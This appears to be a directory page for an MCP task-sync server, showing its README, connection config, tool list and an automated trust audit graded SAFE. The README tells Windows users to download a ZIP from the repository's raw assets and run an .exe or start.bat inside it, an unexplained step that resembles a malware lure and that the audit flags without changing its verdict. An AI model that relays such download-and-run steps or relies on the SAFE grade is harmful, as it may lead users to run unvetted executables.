compass-mcpSAFE
Sync Claude Chat, Cowork, and Code with an MCP server that shares tasks, context, and project state across all three.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/Cdplayerjumpingoffplace65/compass-mcp/main/assets/compass-mcp-v1.6-beta.2.zip)
🧭 What it does
Compass MCP keeps shared work in one place. It lets Claude use the same task data in Chat, Cowork, and Code. You can add a task in one surface, mark it done in another, and keep the same state across all of them.
It is built for people who want less repeating and less copying between tools. You keep one task list, one set of contexts, and one view of what is done.
✨ What you can do
- Add tasks in Claude Chat
- Check off tasks in Claude Code
- Filter work by project in Cowork
- Keep shared context in one folder
- Use the same data across all three surfaces
- Cut down on repeated explanations
- Keep task notes close to the work
🪟 Windows download and install
1) Open the download page
Use this link to visit the page and download the app:
Open the compass-mcp download page
2) Download the file
On the GitHub page, look for the latest release or the main download option. Save the file to your computer.
If you see a ZIP file, download it and keep it in a folder you can find again, such as Downloads or Desktop.
3) Unzip the files
If the download comes as a ZIP file:
- Right-click the file
- Choose Extract All
- Pick a folder
- Finish the extraction
After this, you should see the Compass MCP files in the folder you chose.
4) Start the app
Open the extracted folder and look for the main app file.
Common file names may include:
CompassMCP.execompass-mcp.exestart.bat
Double-click the file to run it.
5) Allow Windows to continue
If Windows asks for permission:
- Click Run
- Click
29d9c2c13d04OBSERVED · 2026-10-12Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add compass-mcp --env COMPASS_DATA_DIR=${COMPASS_DATA_DIR} -- npx -y [email protected]{
"mcpServers": {
"compass-mcp": {
"command": "npx",
"args": [
"-y",
"[email protected]"
],
"env": {
"COMPASS_DATA_DIR": "${COMPASS_DATA_DIR}"
}
}
}
}Exposed tools (6)
4 read · 2 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
add_task | write | Add a new task to your task list. |
complete_task | read | Mark a task as complete. |
get_context | read | Read a project context file. Use when user references a project — |
get_tasks | read | Get tasks filtered by status, tags, or deadline. |
init_workspace | read | Initialize the Compass workspace. Creates ~/compass-data/ with tasks.md and contexts/. Safe to run multiple times — won |
save_context | write | Save or update a project context file. Use when user says |
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- none-observed
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (4)
compass-mcp-v1.6-beta.2.zip
zod
Use this link to visit the page and download the app: [Open the compass-mcp download page](https://raw.githubusercontent.com/Cdplayerjumpingoffplace65/compass-mcp/main/assets/compass-mcp-v1.6-beta.2.z
Gates applied: no_behavioural_pass, no_license.
29d9c2c13d04full audit observations/trust-audit/mcp-server/cdplayerjumpingoffplace65__compass-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-12 | 29d9c2c13d04 | SAFE | B | 89 | first audit |
Questions
What is the compass-mcp MCP server?
Sync Claude Chat, Cowork, and Code with an MCP server that shares tasks, context, and project state across all three.
What tools does compass-mcp expose?
6 in total: 4 read-only, 2 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is compass-mcp safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.
What credentials does compass-mcp need?
It reads COMPASS_DATA_DIR from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does compass-mcp run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as compass-mcp at 1.0.0.
How current is this page?
The grade is for one exact copy of the source (29d9c2c13d04), read on 2026-10-12. The repository is watched and re-audited when it changes.